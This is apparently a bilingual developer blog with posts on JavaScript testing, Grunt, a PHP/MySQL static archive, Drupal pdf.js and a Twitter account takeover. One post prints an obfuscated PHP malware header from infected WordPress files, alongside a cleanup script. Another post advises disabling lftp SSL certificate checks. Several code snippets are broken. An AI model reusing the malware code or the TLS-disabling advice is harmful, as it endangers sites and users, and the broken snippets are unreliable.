TDD or not TDD? This isn’t the question.

Instead of reply to these reasons:

I prefer to find what make testing hard: mock object, the missing part!

All these arguments seems to fail to understand that TDD is not just testing, it is to guarantee SOLID principle of object oriented design

Liskov substitution, Interface segretation, Dependency inversion, and also single responsibility and open/close principles are very explicit if you want to do TDD in a simple way: write mock object and separate everything

Working with Javascript NodeJS (but also with php and lambda expressions) write a mock object does not require a specific library or tool, just write the object in JSON format and pass it to the object to test.

Say you want to test an object an know if it correctly insert a row in the db:

var dbMock = {
   insertedData: '';
   insert: function(object) {
     this.insertedData =;
     this.inserted = true;
   lookup: function(id) {
     return {id:id,field1: 'example content'};

var objectToTest = new ClassType(dbMock);

expect.equals(dbMock.insertedData,'my expectation for data');

and pass it to the object to test.

That force you to write clean code. Just that.

I personally prefer jasmine-node.

The same apply to PHP, trust me!

Use Grunt. Always

The worst could happen, but use grunt. Always.

A little lesson from wasted time.

Code could be wrong, thus it has to be tested, and tested, and tested. Automate that test. Do not wait to waste any more time.

A note on grunt is that shell can do the most, for example lftp is very good:


  shell: {
    upload: {
      command: 'lftp -e \'put ./myfile.tar.bz2\''

 Is better than use grunt-ftp, or grunt-ftp-deploy, or whatever.

Note on lftp: what is that certificate problem?? I just added

set ssl:verify-certificate/ no

in ~/.lftp/rc

I can not understand why it ask for ssl certificate, I just do not care

JsDay, news from the front. (and back end)

If I should rate an event from the front end I thing I should consider the UX. In this field JsDay has 10/10 as UX: location is easy to reach (once you are in Verona), food are good (missing salt from meat, they are salutist), very clean and comfortable, you get what you want and need, coffee breaks spans during the day in a regular basis, free bottled water (very valuable thing) and kindly hotel’s and organization’s staff.

But Javascript is no more only frontend, thus it start the first day, the first presentation by Massimiliano Mantione with metaprogramming. He propose to extend the language using a library over the javascript interpreter in order to make it compile a meta program, that is a program with code and macro definition. Macro are not as simple as C standard macro, but metascript macros permit to extend language syntax, also the basic syntax of metascript is very relaxed and permit expression of all kind … About testing he say that the unit test should … well, I understood it is a bit tricky but metascript is still a development project, it is on github and is open source.

Then what follow was my path.

Danni Friedland spoke about NSA.js. MutationObserver is an interesting API that let you observe what happens to the DOM. Its application has some limitation, but it is very interesting, and astonishing demo!

Henry Bergius present Flow based programming, an interesting way to define a program as a process, shown by a series of block passing message: message passing is the main concept of object oriented design, thus .. why not?

Marco Cedaro spoke about the spirit of test, somewhat philosophical presentation, sameway funny, but there are books and and videos, etc. all around the world that pray you to convert to the spirit of TDD … ok, maybe it has to be repeated.

My path to the launch time was: risotto con salciccia, meat, green beans, bread, an apple at the end (even if I am not a fun, I have to admit it could be sweat sometime). Coffee (thanks you, I will give back some day)

Rob Ashton talk about browserify, just a javascript library enable you to make a single javascript source for your page using npm, node, browserify, some command line trick and … very clean result, but he do not know ctrl-l keyboard sequence to clear the screen (I hear this comment the next day, I rob it).

Federico Galassi presents the world of asynchronous programming. I discovered stream programming: define observable to observe events, not only asynchronous served function, and manage it a la promises way (Ex. SetInterval managed with a promise style).

Jakob Mattsson present Z-Core, a way to write test on asynchronous call in a readable way. It is a library, must test run it!

.. to be continued

Javascript come fare a meno di with

Esce fuori che non posso fare a meno di with usando strict mode, mi sono chiesto come faccio a non avere effetti collatorali per via della closure, la soluzione che ho trovato è stata:


for(esaid in myarr) {
 var getter = function () {
  console.log('this is THIIIS',this);
  return function(success) {
    if(success.error) {
       $scope.errorMessage = success.error;
    } else {
       $scope.notificationPreferences[esaeid] = success;

Così pare funzioni, deve essere un pattern conosciuto comunque.

Questo all’interno di un ciclo for, non importa, perché getter ha scope locale e non è influenzato dalla closure

Display online pdfs attachment in drupal with pdf.js

pdf.js ( is a mozilla project for rendering pdf files with javascript.

Now it came with a standard Firefox download, but not everyone is using Firefox, thus it came the drupal module:

Simple steps:

  1. activate pdf drupal module and libraries (on which pdf depends)
  2. read but it could be misleading
  3. download the package from, the package, or git clone
  4. you really need node (but apt-get install node is enough): launch ‘node make generic‘, that is, you HAVE to do it, to make build folder
  5. upload the package, the whole package, on site/all/libraries/, the library directory being pdf.js (thus having: sites/all/libraries/pdf.js/build and sites/all/libraries/pdf.js/build and … so. And not, say, pdf.js-buid/…)
  6. configure a field of type file, the display as pdf


Not convinced? me neither, this is what result, but of course display could be changed and fixed:




Costruire un archivio con PHAR per farne una copia statica, o usare il dbms?

Mi è stato chiesto di fare una versione statica di una parte di sito (una sottocartella), così ho preso wget e scaricato i file (wget -nc -r http://host.domain/directory).

La parte in questione è una applicazione PHP/MySql che usa mod_rewrite, così il numero di file è effettivamente molto alto.

Ora il problema sarebbe quello di gestire tutti questi file rimettendoli nel sito: di fatto i server ftp limitano il numero di file visualizzabili tramite il comando list, così potrebbe non essere accessibile parte del filestestem, quando effettivamente è solo non visibile.

Altro punto è che avere accesso ai file statici (la copia) non è di nessuna utilità, quindi è inutile che siano visibili.

Ho quindi usato la poco conosciuta estenzione PHAR del php.

Di fatto non si trovano molte informazioni, la conoscevo in quanto all’esame si deve accennare all’esistenza, ma non ci sono domande a riguardo.

Ho trovato questo articolo della IBM:

Il codice che ho usato per creare l’archivio è:


$phar = new Phar('forum.phar', 0,'forum');

$phar->buildFromDirectory(dirname(__FILE__). '/forum');


Quindi questo pacchetto va usato in qualche modo, ed ora vengono le perdite di tempo per capire come usarlo.

Cercare su internet ed arrivare a questo articolo, , è fuorviante non è esattamente questo l’uso di cui ho bisogno.

Per usare un archivio nella maniera utile a me (a ‘mo di archivio, appunto), è sufficiente definire in .htaccess (o qualsiasi cosa abbiate) una rules semplicissima:

RewriteRule ^ index.php [QSA]

(la sola in .htaccess di questa cartella, manca anche il flag Last perché non se ne ha bisogno), e definire index.php così:


$requri = $_SERVER['REQUEST_URI'];
$wanted = str_replace('/forum','',$requri);

include 'phar://forum.phar'.$wanted;

Avendo nella cartella i soli file:


Ora le cose possono essere più immense di quanto ci si potrebbe aspettare, e il file essere veramente ingestibile (no caricabile). L’opzione è quella di comprimerlo, no problem, non bisogna ripetere la creazione di nuovo, il constructor accetta il nome del file .phar e lo apre se già esiste, cosicché basta fare:


$phar = new Phar('forum.phar', 0,'forum');



per così veder creato il file forum.phar.bz2

Resta comunque il fatto che se i file sono molti si arriva ad un archivio di qualche centianaia di mega, considerato che il php spesso è un modulo che gira sopra apache, considerato che è interpretato, considerato che la memoria è limitata (sia da php, sia da apache, sia dal sistema operativo), non è affatto agevole far gestire questa quantità di dati per poter servire velocemente i contenuti.

Non resta quindi che affidarsi ad una tecnologia ben rodata: il DBMS.

Bene, visto che le url sono sia per pagine html, sia per le immagini, è meglio usare un blob per mettere tutto nel db:


$directory = dirname(__FILE__);
$directory.= '/pathwheredownloaded/forum';
$add_todir = '/forum';

$iter = new RecursiveIteratorIterator(
				      new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS),
				      RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore "Permission denied"


$db = DB::getInstance();
function db_insert($key,$text) {
  global $db;
  $db->query("INSERT INTO thestatic_great_table(pathuri,content) VALUES(:pathuri,:content)",

foreach($iter as $path => $fileInfo) {
  $pathEp = str_replace($directory,'',$path);
  $pathEp = $add_todir . $pathEp;
  if($fileInfo->isFile()) {
    $c = file_get_contents($path);

Questo mette tutto nel db facendo un loop ricorsivo nella cartella directory ($add_todir è una aggiunta al path perché nel server viene servita come sotto cartella, cioè la request uri contiene anche ‘/forum’).


La definizione della tabella dovrebbe avere un indice su pathuri così da rendere la ricerca veloce, questo però rende anche l’inserimento nella tabella molto lento, così è sicuramente meglio definire l’indice dopo aver eseguito il loop iterativo sulle directory per inserire i dati. Per riferimenti:

Altra questione fondamentale, e comunque il relazione alla creazione dell’indice, è far si che le url siano univoche. Non conosco le restrinzioni w3c riguardo le url, e probabilmente il limite standard dei varchar (255 caratteri), è sufficiente, ma per esserne certi è bene eseguire preventivamente qualcosa del tipo:

find . | awk '{ if(length($0)>255) print "NOuOuO", $0;}'

questo da farsi nella cartella …/…./pathwheredownloaded/ tira fuori un bel NOuOuO e la url solo nel caso la path relativa superi i 255 caratteri, a dir la verità c’è anche un punto davanti, sarebbe ./forum/… quindi la cosa corretta è 256, ma il test io preferisco farlo addirittura con 230, ed è passato. Bene.

Per poi servire le pagine così (index.php):



$db = DB::getInstance();

if(preg_match('/jpeg$/',$url)) {
  header('Content-type: image/jpeg');
if(preg_match('/jpg$/',$url)) {
  header('Content-type: image/jpeg');

$r = $db->query("SELECT pathuri,content FROM thestatic_great_table WHERE pathuri=:uri",array(':uri'=>$url));
print $content;
// remember ...

una nota riguardo il fetching di dati pdo è nel link sopra. (db.class.php è una classe singleton che uso io perché pdo per me non è così rapido per alcune best practices).

Sul content type può capitare che non basti solo controllare l’estenzione, nel mio caso ad esempio ho una url di questo tipo “.*posted_img_thumbnail.php\?.*” che rappresenta sempre una immagine, quindi devo aggiungerlo.

Inoltre i fogli di stile vanno forniti con content type text/css. E ci saranno comunque aggiustamenti da fare.

E così si finisce per avere un bel db da 2giga da buttar su, una chiave su pathuri, e se non fosse abbastanza efficiente si possono definire anche delle partizioni, ma a me sembra ok.

p.s.: non mi va di rivedere tutto, effettivamente ho iniziato a scrivere questo articolo quando pensavo di aver fatto il grab correttamente ed aver bisogno di 2giga di dati, ma il grab non era corretto, mancavano parecchi dati. Risultato: 9 giga! ma va bene lo stesso.

Postum p.s.

Un db di 11 giga rende palesi delle problematiche che solitamente non si considerano, e così è stato in questo caso. Il formato di storage, o storage engine, del db, di default ultimamente per i server mysql è InnoDB che ha indubbi vantaggi per quanti riguarda le features a disposizione, come il supporto di transazioni, triggers, stored procedures, cursori (ci sono davvero?), etc. Funzionalità ormai richieste da chiunque usi un database, ma tutto ciò ha un costo dal punto di vista delle performance ed delle ottimizzazioni che non sono più disponibili. È bastato cambiare lo storage engine in formato MyISAM e l’occupazione nel filesystem è passata da 12 Giga a 8 Giga.

Inoltre è possibile ottenere ancora di più: se la tabella non deve essere modificata si può utilizzare il comando myisampack che permette di occupare ancora meno spazio mantenendo le performance. E questo è decisamente il caso.


Il trasferimento verso l’hosting è sicuramente qualcosa di problematico se si ha un managed hosting, cioè una macchina gestita da altri, che sicuramente gestiscono un certo numero di macchine e quindi avranno un carico di lavoro elevato, e spesso, visto l’ignoranza diffusa in campo informatico, hanno a che fare con gente poco preparata a cui rispondono malvolentieri. Cosa è trasferire una tabella db da 10 giga erso un server? praticamente è fare l’esportazione dei dati tramite mysqldump e fare l’importazione successiva tramite mysql, oppure, sfruttando il fatto di utilizzare uno storage engine piuttosto povero, semplicemente trasferire 3 file, tabella.frm, tabella.MYD e tabella.MYI, come descritto in (con note riguardo la compatibilità di versione)


È piuttosto comune pensare che la cosa più veloce per servire pagine web sia il filesystem, effettivamente vedendo girare questo sito le performance raggiunte grazie al supporto del DBMS sono eccezionali. L’idea che il filesystem sia la cosa migliore tiene conto del numero di sottosistemi coinvolti ma non della mole di lavoro che essi svolgono:

  1. Caso DBMS: apache -> php -> mysql -> filesystem con seek statica ( e ritorno <- )
  2. Caso fs: apache -> filesystem (e ritorno <- )

Infatti nel caso 1 il server dbms riesce ad ottenere il dato molto velocemente solo mantenendo un indice di 25 Mbyte in ram, rendendo la richiesta verso il filesystem praticamente una seek ad un indirizzo specifico, mentre una richiesta al filesystem richiede un attraversamento delle cartelle, cioè l’individuazione di un inode (la cartella), lettura del suo contenuto, individuazione del file, lettura del suo contenuto, e così via, ripetendo fino al file oggetto della richiesta. Nel caso 2. sono tutte richieste di I/O, non pesanti dal punto di vista operazionale, ma pesanti dal punto di vista di tempi di risposta.

Con gli SSD le differenze si mitigano, ma l’occupazione del bus di I/O è già di suo un elemento a sfavore della scelta 2.

Rimuovere un virus da wordpress

Non ho voglia di indagare da dove entrano e come fanno, suppongo sia qualcosa riguardo a xmlrpc, comunque mi capita di trovare in alcuni siti dei file in wordpress con un bel pezzo di codice all’inizio che fa più o meno così:

<?php $nuvjmhnfek = 'x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!})q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%xbq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>utcvt)!gj!|!*bubE{h%x5c%x78 .....
$nlbrprkqdg = explode(chr((208-164)),'3218,48,5590,70,4453,66,8070,26,2370,30,2907,69,714,25,4556,24,7366,42,6995,70,7662,67,7952,20,4821,58,5660,38,9197,50,3794,32,5475,53,5299,25,2451,49,3716,20,9116,48,8581,59,1739,50,6545,58,1693,46,950,66,7211,50,5528,62,7895,57,9591,46,9678,20,2282,23,6368,70,93,51,8483,44,1216,66,10078,28,4288,43,3130,61,2770,36,7408,26,6930,65,5039,22,8640,63,1059,70,7729,28,5919,23,5942,42,374,57,0,43,4580,43,1336,24,5061,55,3878,39,9371,41,9765,20,4141,66,3451,70,7972,36,8867,50,7470,51,6077,53,4076,65,9301,37,3521,62,9338,33,8008,36,5828,68,3040,67,7825,70,144,66,1016,43,3618,32,8203,39,6503,42,9463,21,7261,43,3107,23,2071,51,797,55,6832,56,1129,48,9045,22,1553,56,9484,43,10047,31,493,27,3365,23,4879,21,1456,35,5237,62,2860,47,852,38,9698,67,6130,23,9940,45,6335,33,280,52,1609,52,8527,54,4352,42,8917,65,2700,70,7107,48,520,52,5776,24,3191,27,3650,66,3855,23,4011,65,4254,34,7757,68,3826,29,8385,27,5205,32,6268,67,1953,70,9164,33,210,36,2228,54,7304,62,9785,66,9985,36,6235,33,4952,38,9527,64,1491,62,4394,59,9434,29,6153,34,8791,45,9067,49,8744,47,2806,54,8044,26,2047,24,332,42,8242,45,4207,47,43,50,2976,64,4990,49,5324,38,2023,24,3388,63,8412,43,9637,41,2609,64,6438,65,8351,34,3736,58,9907,33,10021,26,6053,24,1856,41,246,34,8160,43,4623,67,2122,70,1360,36,9247,54,8703,41,2589,20,5430,45,4519,37,1177,39,1661,32,1789,67,7626,36,5723,53,1282,54,762,35,4900,52,6603,49,2500,37,572,56,1396,20,6801,31,6652,29,2673,27,5362,68,5116,24,5698,25,7434,36,890,60,9412,22,7584,42,3266,70,6888,42,3968,43,7155,56,6735,66,5800,28,7065,42,2537,52,6681,54,739,23,7521,63,2192,36,6211,24,8096,64,4690,34,4724,59,2305,65,5140,65,3336,29,689,25,5896,23,1897,56,9851,56,3917,51,8455,28,1416,40,628,61,8836,31,5984,34,2400,51,6187,24,4783,38,6018,35,8982,63,431,62,3583,35,8287,64,4331,21'); $nmtziabvfq=substr($nuvjmhnfek,(64154-54048),(22-15)); if (!function_exists('mytkhaykjh')) { function mytkhaykjh($ecchzxeygg, $oetvzxrjls) { $gxtabrgvtm = NULL; for($vwguknkzdv=0;$vwguknkzdv<(sizeof($ecchzxeygg)/2);$vwguknkzdv++) { $gxtabrgvtm .= substr($oetvzxrjls, $ecchzxeygg[($vwguknkzdv*2)],$ecchzxeygg[($vwguknkzdv*2)+1]); } return $gxtabrgvtm; };} $sdeyycmzzj="\x20\57\x2a\40\x66\147\x74\157\x6e\166\x6c\170\x75\166\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\64\x36\55\x32\60\x39\51\x29\54\x20\143\x68\162\x28\50\x34\66\x32\55\x33\67\x30\51\x29\54\x20\155\x79\164\x6b\150\x61\171\x6b\152\x68\50\x24\156\x6c\142\x72\160\x72\153\x71\144\x67\54\x24\156\x75\166\x6a\155\x68\156\x66\145\x6b\51\x29\51\x3b\40\x2f\52\x20\170\x6f\171\x66\142\x63\152\x76\162\x6b\40\x2a\57\x20"; $dtpkwmfaou=substr($nuvjmhnfek,(67745-57632),(63-51)); $dtpkwmfaou($nmtziabvfq, $sdeyycmzzj, NULL); $dtpkwmfaou=$sdeyycmzzj; $dtpkwmfaou=(403-282); $nuvjmhnfek=$dtpkwmfaou-1; ?>

si potrebbe capire cosa fa (ho tagliato la stringa), ma non mi interessa.

Devo ripulire tutto. Questo è cosa uso:


$directory = dirname(__FILE__);

$iter = new RecursiveIteratorIterator(
				      new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS),
				      RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore "Permission denied"

header('Content-type: text/txt');

foreach($iter as $path => $fileInfo) {
  $pathEp = str_replace($directory,'',$path);
  if($fileInfo->isFile()) {
    if (preg_match('/php$/',$pathEp)) {
      $c = file_get_contents($path);
      if(preg_match('/^(<\?php\ \$nuv.+\?>)(.*)/',$c)) {
	echo "Infected: $pathEp\n";
	echo "should be:\n";
	$newC = preg_replace('/^(<\?php\ \$nuv.+\?>)(.*)/','$2',$c);
	//print $newC;

e basta. Metto ripulisci.php nella cartella principale e la chiamo dal sito.

Nota sulla foto: On North Wolcott, North of Augusta. There is a story behind … ma non la voglio sapere, rif.:

Little tool spot (php to UML)

This is my little endorsement to this tool

really usefull to extract uml from an existing PHP project. In GNU/Linux system (actually Bsd world too) there is at least Umbrello which read and write XMI format.

I am not expert of MS Windows world I just tryed googling it, I found this: . Umodel is 149$ software, it look like a very complete software, it could worth the price, but actually I prefer to keep code as simple as it could be catched just looking at the code, classes/methods names and little documentation, but sometime you loose control of the code.

I also tried autodia, that state an experimental support for importing xmi format to dia format. This is really experimental, starting from the missing strict dependence: libxml-simple-perl is required it you want to do:


$ autodia -l umbrello -i project.xmi 
getting handlers..
getting pattern for umbrello

AutoDia - version 2.14(c) Copyright 2003 A Trevena

using language : umbrello

..using Autodia::Handler::umbrello
opening Ebaysync.xmi
Not an ARRAY reference at /usr/share/perl5/Autodia/Handler/ line 87.

Thus … experimental.


Twitter Insecure by Design

It happens I have a new identity … no, someone has my credential or such for using my twitter account. Twitter does not reply, there is no team that can fix it.

Problem with twitter is that it is insecure by design. You indicate an email address and confirm it, at registation time, or whenever you want.

Well, now? If you want to change email address you have to confirm it with the old, confirmed one, email, you are guessing … no. You have to verify the new email address with the new email address!!

That’s all. I used to have @danielecr twitter account. Now it is Gale Albee @GaleIsWide, and there is nothing I can do about it.

To check it, I does a google search: “danielecr twitter”

interesting enough …

What does it means to you? This show that twitter is insecure by design, and if you are subscribing a service you should never rely on it, that is you open an account for new service using twitter, then make sure to add email address and make it the principal way to log in, never rely on twitter for security, it seems there is no customer care and noone who you can effectively contact and to which you can ask for assistance. You will loose all associated accounts.

Simply put: do not rely on twitter.